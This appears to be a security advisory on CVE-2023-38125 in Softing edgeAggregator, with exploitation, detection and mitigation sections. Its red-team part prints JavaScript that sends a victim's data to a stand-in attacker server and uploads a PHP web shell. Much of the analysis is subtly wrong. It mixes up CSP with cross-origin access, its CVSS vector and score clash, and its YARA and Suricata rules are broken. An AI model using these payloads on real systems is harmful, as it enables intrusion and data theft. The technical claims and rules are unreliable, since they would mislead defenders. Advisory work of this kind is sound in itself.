CVE-2023-38125

Executive Summary

CVE-2023-38125 is a critical remote code execution vulnerability in Softing edgeAggregator, a product used for industrial edge data aggregation. The flaw stems from a permissive cross-domain policy with untrusted domains, specifically the lack of appropriate Content Security Policy (CSP) headers in the web server configuration. This allows an authenticated attacker to bypass same-origin policy restrictions and, in conjunction with other vulnerabilities, execute arbitrary code as root. With a CVSS score of 7.5, the vulnerability is rated high severity due to the potential for full system compromise. No public proof-of-concept or exploit code is available, and the vendor has not released a patch. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is high because exploitation requires no user interaction and can lead to full root-level compromise of the edgeAggregator server. The lack of a patch increases the risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability resides in the web server configuration of Softing edgeAggregator. The server fails to set proper Content Security Policy (CSP) headers, which are designed to prevent cross-site scripting (XSS) and data injection attacks by controlling which resources can be loaded. Without CSP, the server permits cross-domain requests from untrusted origins, effectively enabling a permissive cross-domain policy.

An authenticated attacker can craft a malicious web page or script that, when loaded by a victim within the same network, makes cross-origin requests to the edgeAggregator server. Because the server does not enforce CSP, the browser allows these requests, potentially leaking sensitive data or enabling further exploitation. The specific flaw (ZDI-CAN-20542) allows the attacker to leverage this permissive policy in conjunction with other vulnerabilities (e.g., XSS or CSRF) to execute arbitrary code in the context of root.

The attack chain typically involves:

1. Authentication Bypass or Credential Theft: The attacker gains valid credentials (e.g., via phishing or weak passwords).
2. Cross-Domain Request: The attacker hosts a malicious page that sends requests to the edgeAggregator server from an untrusted domain.
3. Code Execution: By combining the permissive policy with another vulnerability (e.g., a command injection or file upload flaw), the attacker executes arbitrary commands as root.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable configuration can be identified by the absence of CSP headers in HTTP responses. A secure configuration would include headers such as:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';

The vulnerable server likely omits these headers entirely or uses overly permissive values like default-src *. Administrators should inspect their web server configuration (e.g., Apache or Nginx) for CSP directives.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Softing edgeAggregator (any version) running on a Linux server.
• Attacker: Kali Linux with a web server (e.g., Apache) to host malicious content.
• Prerequisites: Valid credentials for the edgeAggregator web interface.

Exploitation Steps:

1. Identify CSP Absence: Use curl to check response headers:

   curl -I http://target-edgeaggregator:8080
   

   Look for missing Content-Security-Policy header.

2. Host Malicious Page: Create an HTML file that makes cross-origin requests:

   <!DOCTYPE html>
   <html>
   <body>
   <script>
   fetch('http://target-edgeaggregator:8080/api/sensitive-endpoint', {
       credentials: 'include'
   }).then(response => response.text()).then(data => {
       // Exfiltrate data to attacker server
       new Image().src = 'http://attacker-server/steal?data=' + encodeURIComponent(data);
   });
   </script>
   </body>
   </html>
   

3. Deliver Payload: Send the malicious page to an authenticated user (e.g., via phishing email or compromised website).

4. Combine with Second Vulnerability: If a command injection or file upload flaw exists, craft a request that executes code:

   fetch('http://target-edgeaggregator:8080/api/upload', {
       method: 'POST',
       credentials: 'include',
       body: new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'text/plain'}),
       headers: {'Content-Type': 'application/octet-stream'}
   }).then(() => {
       fetch('http://target-edgeaggregator:8080/uploads/shell.php?cmd=id');
   });
   

Blue Team

Detection:

• Monitor for missing CSP headers in HTTP responses.
• Alert on cross-origin requests to edgeAggregator from untrusted domains.
• Use web application firewalls (WAF) to block requests without proper origin headers.

Mitigation:

• Implement strict CSP headers immediately.
• Restrict network access to edgeAggregator via firewall rules.
• Enforce multi-factor authentication (MFA) for all users.

Indicators of Compromise (IOCs)

• Network:

  • HTTP responses from edgeAggregator missing Content-Security-Policy header.
  • Outbound connections from edgeAggregator to unknown IPs (data exfiltration).
  • Unusual cross-origin requests in web server logs (e.g., Origin: http://malicious-site.com).

• File System:

  • Unexpected files in web-accessible directories (e.g., /var/www/html/uploads/shell.php).
  • Modified configuration files (e.g., /etc/nginx/nginx.conf or /etc/apache2/apache2.conf).

• Process:

  • Suspicious processes spawned by the web server user (e.g., id, whoami, nc).

Detection Engineering

YARA Rule

rule CVE_2023_38125_CSP_Missing {
    meta:
        description = "Detects missing Content-Security-Policy header in HTTP responses from Softing edgeAggregator"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-38125"
    strings:
        $header = "Content-Security-Policy:" nocase
    condition:
        not $header
}

Sigma Rule

title: Missing Content-Security-Policy Header in Softing edgeAggregator
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP responses from Softing edgeAggregator that lack the Content-Security-Policy header, indicating CVE-2023-38125 vulnerability.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-host|contains: "edgeaggregator"
        sc-status: 200
    filter:
        cs-header|contains: "Content-Security-Policy"
    condition: selection and not filter
falsepositives:
    - Legitimate configurations where CSP is not required (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-38125 - Missing CSP Header in Softing edgeAggregator"; flow:to_server; content:"HTTP/1.1 200 OK"; http_server_body; content:!"Content-Security-Policy"; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch is available, immediate mitigation is critical:

1. Implement CSP Headers: Manually configure the web server to include strict CSP headers. For Apache:

   Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';"
   

   For Nginx:

   add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';";
   

2. Network Segmentation: Isolate edgeAggregator in a separate VLAN with strict firewall rules. Allow only trusted IPs to access the web interface.

3. Authentication Hardening: Enforce strong passwords and multi-factor authentication (MFA) for all users.

4. Web Application Firewall (WAF): Deploy a WAF to block cross-origin requests and inspect for malicious payloads.

5. Monitor for Exploitation: Use the provided detection rules to identify potential attacks.

6. Vendor Contact: Reach out to Softing for an official patch or workaround.

Valters IT
Securing Digital Frontiers